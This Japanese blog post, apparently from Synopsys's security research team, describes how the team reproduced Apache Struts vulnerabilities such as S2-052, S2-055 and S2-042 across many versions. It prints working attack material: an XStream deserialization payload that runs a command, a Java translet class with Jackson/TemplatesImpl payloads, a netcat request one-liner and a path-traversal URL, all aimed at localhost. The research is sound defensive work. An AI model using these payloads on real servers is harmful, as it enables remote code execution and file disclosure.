ソフトウェア・インテグリティ

 

大規模なApache Strutsリサーチ、第3部:エクスプロイト

CVE-2018-11776のリサーチで、私たちは、大規模なさまざまな構成(115個のStrutsバ―ジョン)で使用できるように、独自の実証概念を作成しました。

大規模なApache Strutsリサーチ、第3部:エクスプロイト

2019年8月、SynopsysのCybersecurity Research Center(CyRC)は、Apacheソフトウェア財団と連携してApache Strutsセキュリティ勧告S2-058を発表しました。この勧告は、Strutsの115バージョンの64件の脆弱性に照準を合わせてベルファストで実施されたリサーチを反映したもので、脆弱性別に影響を受けた約50のバージョンが特定されています。このブログ・シリーズでは、これまでの経験を読者の皆さんにシェアいたします。

このブログ・シリーズは技術系読者向けです。このブログ・シリーズでは、このプロジェクト中に我々が得た洞察や遭遇した問題、思い付いた解決策を公開しています。

これはこのシリーズの3回目の投稿です。初めての方は、第1回目の投稿からお読みになるようお勧めします。

その他の投稿もお見逃しなく。このブログの購読をぜひお申し込みください!

Apache Strutsをリサーチした理由

2018年8月、我々は新しく発表されたApache Strutsの遠隔コード実行の脆弱性(CVE-2018-11776/S2-057)を検証しました。独自の概念実証を作成し、Apache Strutsの過去のリリースに対してこれをテストした結果、当初の報告よりも多くのバージョンが脆弱性の影響を受けたことを発見しました。我々は、当社の責任ある開示方針に従いこれらの知見を報告しました。しかし、この発見によって、これまで報告されたすべてのApache Strutsの脆弱性についてはどうだったのか?という疑問が浮かんできました。我々は、脆弱性の大規模なリサーチを実施するためのシステムの構築に取り掛かりました。

既存の概念実証の再現

脆弱性の再現の最初のステップは、通常、アドバイザリで提供された指示に従うことです。ただし、セキュリティ・アドバイザリで一般に見られるように、その時点でApache Strutsアドバイザリのかなりの部分には再現の情報が含まれておらず、まして概念実証(POC)を利用するためのステップに関する情報はなおさらのことです。再現情報を含むアドバイザリにも完全な情報がないことがよくあります。チームが解析を開始したとき、解析した合計57件の脆弱性の中で、再現情報がオンラインで見つかるものは25件のみで、その大半はこのチームでは使用できませんでした。

セキュリティ情報 POC セキュリティ情報 POC セキュリティ情報 POC
S2-001 なし S2-020 なし S2-039 なし
S2-002 あり S2-021 なし S2-040 なし
S2-003 あり S2-022 なし S2-041 なし
S2-004 あり S2-023 なし S2-042 なし
S2-005 あり S2-024 なし S2-043 なし
S2-006 あり S2-025 なし S2-044 なし
S2-007 あり S2-026 なし S2-045 あり
S2-008 あり S2-027 なし S2-046 あり
S2-009 あり S2-028 なし S2-047 なし
S2-010 なし S2-029 なし S2-048 あり
S2-011 なし S2-030 なし S2-049 なし
S2-012 あり S2-031 なし S2-050 なし
S2-013 あり S2-032 あり S2-051 なし
S2-014 あり S2-033 あり S2-052 あり
S2-015 あり S2-034 なし S2-053 あり
S2-016 あり S2-035 なし S2-054 なし
S2-017 あり S2-036 なし S2-055 あり
S2-018 なし S2-037 あり S2-056 あり
S2-019 なし S2-038 なし S2-057 あり

Strutsが発売された当時(10年以上前)の例を不当に選ぶ代わりに、最新の例を提供するために、オンラインで入手できるMetasploitツールを利用したリモート・コード実行の脆弱性であるS2-052のPOCを見つけました。

POCを使用してこの脆弱性を再現する試みにおいて、エクスプロイトがJava 8のみで機能することを発見しました。一見、この脆弱性は特定のJavaランタイム・リリースのみに存在したようでした。しかし、他のバージョンからのペイロードとレスポンスを調べたところ、この脆弱性が依然として存在すること、しかし異なるJava Runtime Environmentバージョン間でペイロードを微調整する必要があることが明らかになりました。

 S2-052のペイロードの例
<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                        <is class="javax.crypto.CipherInputStream">
                            <cipher class="javax.crypto.NullCipher">
                                <initialized>false</initialized>
                                <opmode>0</opmode>
                                <serviceIterator class="javax.imageio.spi.FilterIterator">
                                    <iter class="javax.imageio.spi.FilterIterator">
                                    <iter class="java.util.Collections$EmptyIterator"/>
                                        <next class="java.lang.ProcessBuilder">
                                            <command>
                                                <string>/usr/bin/touch</string>
                                                <string>/tmp/exploited</string>
                                            </command>
                                            <redirectErrorStream>false</redirectErrorStream>
                                        </next>
                                    </iter>
                                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>foo</name>
                                    </filter>
                                    <next class="string">foo</next>
                                </serviceIterator>
                                <lock/>
                            </cipher>
                            <input class="java.lang.ProcessBuilder$NullInputStream"/>
                            <ibuffer/>
                            <done>false</done>
                            <ostart>0</ostart>
                            <ofinish>0</ofinish>
                            <closed>false</closed>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    </entry>
</map>

これは誤解を招く状況でした。独自のペイロードを作成する代わりに、ツールを使用してペイロードを事前に作成し、脆弱性の存在を検証した人は、システムは脆弱ではないとすぐに推測するでしょう。ペイロードと脆弱性のしくみを十分に理解していないと、間違った安心感や間違った結論につながります。さらに、業界では多くの場合、古いバージョンのソフトウェアが脆弱かどうかを評価することを好まず、報告の目的で、前のバージョンはすべて脆弱であったと仮定します。それとは対照的に、Synopsys SCAツールで生成される脆弱性フィードは、このような仮定を行うのではなく、どのバージョンが脆弱かを特定する努力の結果です。

実行環境に関する投稿で説明したように、特定のソフトウェアは、影響を受けたコンポーネントに至る前にその動作を変更したり、要求をサニタイズしたりします。古いApache Strutsの脆弱性の多くはTomcat 8によるフィルタリングで排除されます。Tomcat 8では、この機能のないバージョン6などの古いバージョンのTomcatでのテストを必要とするURLサニタイズなどの機能が導入されています。さらに、Eclipseを使用してTomcatを実行する際に異なる一連の動作に気付きました。Eclipseデバッグ環境では異なる基本ライブラリが導入され、それがテストの結果に影響し、それによって、通常、脆弱性が再現不可能になっていました。

Apache Strutsの脆弱なバージョン

POCがあるにもかかわらず、いくつかの理由でそれらを書き直しました。理由の1つは、ペイロードの動作に対する正確な洞察を得るためでした。前述したように、ペイロードの動作をよく理解していないと、間違った結論に達してしまいます。他の問題から、そして他のPOCを作成することで得た知識によってPOCをさらに充実させました。業界のPOCのほとんどは、特定のソフトウェアの1つのブランチ・バージョンに対してのみ実行するように設計されていますが、当社のPOCでは、さまざまな環境構成ですべてのバージョンに対してテストしたいと考えました。既存のPOCにはそのための十分な柔軟性がありません。最後に、大規模なテストのために、当社の自動化されたテスト・スイートと密接に統合したいと考えました。

一部のエクスプロイトには、Strutsコアで特定のスイッチをオンにしたり、特定のオプションを特定の方法でコンパイルしたり、Strutsのサンプル.warファイルに存在しない異なる脆弱なコードを使用したりする必要がありました。当社は、Strutsのさまざまな機能をデモで見せるShowcaseを優先しました。ここでビルドシステムに関する第1回目の投稿が関係するようになり、これらの状況の大部分の自動化に役立ちました。

さらに要求された方法で構築できないStrutsバージョンがあったり、ビルドシステムが特定の変更を嫌ったりといった外れ値的な状況もいくつかありました。そのような場合には、.warファイルを構築するためにアクセスできたので、プログラムによって、追加の事前構築クラスを含めてそれらのファイルを再パッケージ化することができました。幸いなことに、これは迅速にテストを行うために多数のバージョンでコード変更をデプロイする方法として非常に速いものであることがわかりました。また、これらのファイルを変更して設定をトグルしてエクスプロイト(通常「空の」.warファイルを使用しており、それは設計上、Strutsコアを含んでいましたが、利用するための機能コードは含まれていない)を検証する必要のある状況もありました。空のファイルは通常、Strutsの環境とビルドが正常であることの検証に使用されるため、これらのインジェクションを妨げる可能性のあるその他のコードはほとんどありませんでした。

インジェクションされたクラスの例
インジェクションされたクラスの例

StrutsのサブコンポーネントのPOCが存在するが、Strutsによって消費されるとエクスプロイトのための明確なパスはないという状況にも対処しなければなりませんでした。この一例は、S2-055(リモート・コード実行脆弱性)です。この脆弱性により、Apache StrutsがJackson FasterXMLコンポーネントを使用するように構成/コンパイルされている場合にRCEを引き起こす可能性のある、潜在的に有害なペイロードを渡すことが可能になると報告されています。

当社のビルドシステムでは、Jackson FasterXMLを含むStrutsの各バージョンは(多くのバージョンには含まれていませんでした)、それをデフォルトとして使用することを保証しました。さまざまなペイロードを使用して、Struts RESTプラグインShowcaseでStrutsのエクスプロイト可能性を検証しました。

ペイロードを生成するには、まず脆弱性を実行するコードをいくつか準備する必要がありました。

Exploit.java
import java.io.*;
import java.net.*;
@SuppressWarnings("restriction")
public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
        public Exploit() throws Exception {
                StringBuilder result = new StringBuilder();
                URL url = new URL("http://localhost:4444/");
                HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                conn.setRequestMethod("GET");
                BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String line;
                while ((line = rd.readLine()) != null) {
                        result.append(line);
                }
                rd.close();
        }

        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                        com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator,
                        com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
        }

        @Override
        public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
                        com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) {
        }
}

javacを使用してExploit.javaをコンパイルし、これをbase-64文字列(この例ではバイトコード・データと呼んでいます)に変換しました。これらの変換は、Linux環境では比較的単純です。

cat Exploit.class | base64 -w 0

バイトコード・ペイロードが組み立てられたら、HTTPペイロードにまとめるだけです。異なる環境での変化に対応するために、さまざまなペイロードを使用しました。

ペイロード1
{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'bytecode data' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
 ]
}
ペイロード2
false{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'bytecode data' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
 ]
ペイロード3
[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  {
    "transletBytecodes":  ["bytecode data"],
    "transletName": "a.b",
    "outputProperties": { }
  }
]
ペイロード4
[ "java.lang.void" ]

これらのペイロードのいくつかをJackson FasterXMLを使用して直接サンプル・アプリケーションで指定されたオプションを切り替えながら、有効性を確認しました。しかし、この脆弱性を直接エクスプロイトするには、コンポーネントでmapper.enableDefaultTypingを有効にする必要があることがすぐに明らかになりました。このオプションはApache Strutsで有効ではないだけではなく、Strutsアプリケーション内からこのオプションをオンにするために実行できるStruts API呼び出しを特定することもできませんでした。この脆弱性を悪用可能にするには、アプリケーション開発者は指定されたオプション内で独自のStrutsの分岐を維持する必要があります。これは今日の一般的なJava開発プラクティスではできそうにありません。

とにかく、最初はペイロードをrest-showcaseサンプル・アプリケーションに送信することにより、このオプションを無効にした状態でテストしました。XStreamコンポーネントを使用した場合、S2-051のrest-showcaseアプリケーションでのペイロードの実行では、成果が見られました。以下の送信済みペイロード例(大規模なテストではなく、単純化した例)では、Webアプリケーション・サーバーにローカルホスト8080を使用し、ペイロードをpayload.jsonに配置しています。

~
echo 'GET /struts2-rest-showcase/orders/3 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: '$1'/struts2-rest-showcase/orders.xhtml
Connection: close
Content-Type: application/json
Content-Length: '$(cat payload.json |wc -c)'
Pragma: no-cache
Cache-Control: no-cache

'"$(cat payload.json)"| nc -v 127.0.0.1 8080

これらのペイロードの一部はJacksonライブラリによって直接デモで見せることができますが、多相型処理を明示的に有効にすることのみによりそれらを直接複製することができます。Strutsの実装のデフォルトではこのオプションは有効になっておらず、Strutsフレームワークを通してそれを有効にするオプションはありませんでした。これにかかわらず、既知の脆弱なバージョンに対するテストでは(デフォルトのハンドラをJackson FasterXMLに変更することが必要)、上述のペイロードを使用して複製できる脆弱性は明らかになりませんでした。

この脆弱性が最初に報告されたとき、それは確定的な脆弱性であることが示唆されました。そのような状況では、リサーチャーは、本来の目的から逸れた道を進み続けて、ソリューションに実在しない脆弱性を再現しやすくなります。本物のStrutsアプリケーション開発者がこの脆弱性に遭遇する可能性は極めて低いものです。Coverityなどの静的解析ツールがこのような状況で役立ちます。カスタム・チェッカーを使用して、コードパス内にそれらの脆弱性があるかどうかを確認できるからです。

POCなしでの脆弱性の再現

ここまでは、実際に使用される既存のPOCについて説明しました。しかし、POCの大半(存在した場合)は機能しませんでした。そのため、使用可能な情報を利用して脆弱性をリバース・エンジニアリングする必要がありました。これには、Apache Strutsのバージョン間のソース・コードの違いの検証、修正したコードの確認、場所の特定を目的としたガイドとしてのアドバイザリの使用、さらに脆弱性の再現の試行などの作業の組み合わせが必要でした。

S2-042の最初のアドバイザリで提供されたのは、脆弱性に関する簡単な説明にすぎませんでした。

最初のアドバイザリ
最初のアドバイザリ

Conventionプラグインでは、アクション名、インターセプタ、名前空間、およびXWorkのさまざまなオーバーライドが提供されていることがわかりました。パッケージ名、URL名、デフォルト・アクション、結果処理、および名前空間など、さまざまな表記規則が確立されています。さらに、検索エンジン最適化(SEO)の機能も含まれています。

手動のアプローチをとって、バージョン間のソース・コードの違いを確認し、Conventionプラグインで影響のあったコードを特定しました。その際、修正が必要な2.3のソース・コード変更および2.5のソース・コードの変更を見つけました。この修正では、findResultメソッドを呼び出す際のパスの処理に関するコードをさらに厳密化します。もちろん、この種の解析はクローズド・ソースの製品ではさらに時間がかかります。オープンソースでは、脆弱性の識別、解析、およびソリューションまたは回避策の特定をはるかに速く行うことができます。

また、Conventionプラグインは、2.1リリース以降、CodebehindプラグインおよびZero Configプラグインに代わってStrutsとバンドル化されていることを確認しました。通常、Conventionプラグインは構成を必要とせず、デフォルトで有効になっています。その表記規則の多くは、struts.xmlに含まれる構成プロパティを使用して制御されます。

メソッド呼び出しの後、特別に作成した要求により任意のページの読み取りが可能になることがソースからわかりました。さらに、そのページはstruts.convention.result.pathの下に構成され、機密のコンテンツのパス・トラバーサルおよび開示につながると推測しました。通常、このパスには、デフォルトでWEB-INFパスが使用されます。ただし、デフォルトで使用される機能には、.warファイルは含まれていません。Strutsではこの機能が追加の設定なしでサポートされています。そのため、この機能を含めるためにshowcaseのカスタマイズに取り掛かりました。GoActionというクラスを作成し、1つのStrutsバージョンに対してコンパイルしました。

GoAction.java WEB-INF/classes/org/apache/struts2/showcase/person/GoAction.class
package org.apache.struts2.showcase.person;
import com.opensymphony.xwork2.ActionSupport;
public class GoAction extends ActionSupport {
    private String go;
    public String execute(){
        return go; 
    }
    public String getGo() {
        return go;
    }
    public void setGo(String go) {
        this.go = go;
    }   
}

この時点で、ビルドシステムを使用して、各バージョンを再コンパイルせずに、生成したクラスを他のApache Struts Showcaseバージョンにインジェクションしました。これは、異なるバージョン間で脆弱なコードを迅速にテストまたは変更するのに効果的な方法でした。さらに、既存のShowcase Webアプリを使用して、.warファイル内の既存のファイル(特にhelp.jspファイル)を利用し、脆弱性を明らかにしました。

ディレクトリ・ツリー:/WEB-INF/
WEB-INF/
├── help.jsp
├── person
│   ├── edit-person.jsp
│   ├── list-people.ftl
│   └── new-person.ftl

次に、ペイロードを作成しました。これには上述の脆弱なコンポーネント・コードで使用したgoパラメータを指定しただけです。

http://localhost:8080/struts2-showcase/person/go?go=../help

脆弱性な既知のバージョンに対して脆弱性を再現し、help.jspページを確認することができました。

ペイロードの成功、パス・トラバーサルによりhelp.jspを返す
ペイロードの成功

脆弱でないバージョンに対して同じペイロードをテストしたところ、不快なメッセージは生成されましたが、パス・トラバーサルの問題に対しての脆弱性はありませんでした。(注意深く見ている方のために、エラー・メッセージがXSSに対して脆弱ではないことも確認しました。)

ペイロードの失敗
ペイロードの失敗

さらにソースの読み取りとテストを行うことで、Conventionプラグインでは、結果ファイルのタイプがjspxjspjspfvmhtmlhtm、およびftlに制限されており、それによって脆弱性の影響も制限されることが判定されました。この取り組みの結果、パス・トラバーサルの脆弱性は2.3.31と2.5.3で修正されたことがわかりました。テストでは、影響を受けたバージョンが2.3.1~2.3.30、および2.5.BETA1~2.5.2であることがわかりました。これは、最初のセキュリティ情報にリストされた2.3ブランチの影響のあったバージョン範囲を拡張するもので、2.5ブランチに新たな脆弱性範囲が追加されました。バージョンの検証については、後述の第4部の投稿で詳しく説明します。

まとめ

ロシアのことわざ「信ぜよ、されど確認せよ」(doveryai, no proveryai) このブログの投稿で検討したほとんどの取り組みは、このことわざを実践したものです。つまり、既存のPOCの検証、独自のエクスプロイト・ペイロードの作成、修正が適用された方法、場所、および時点のトレース、異なるバージョン・リリースに対する脆弱性の検証(ソース解析の結果に関係なく)、さらには作業中に気付いた未知の潜在的な脆弱性の検証などです。

リサーチャー

  • Padraig Donnelly
  • Ashley Stone
  • Stephen Mort
 

この著者によるその他の情報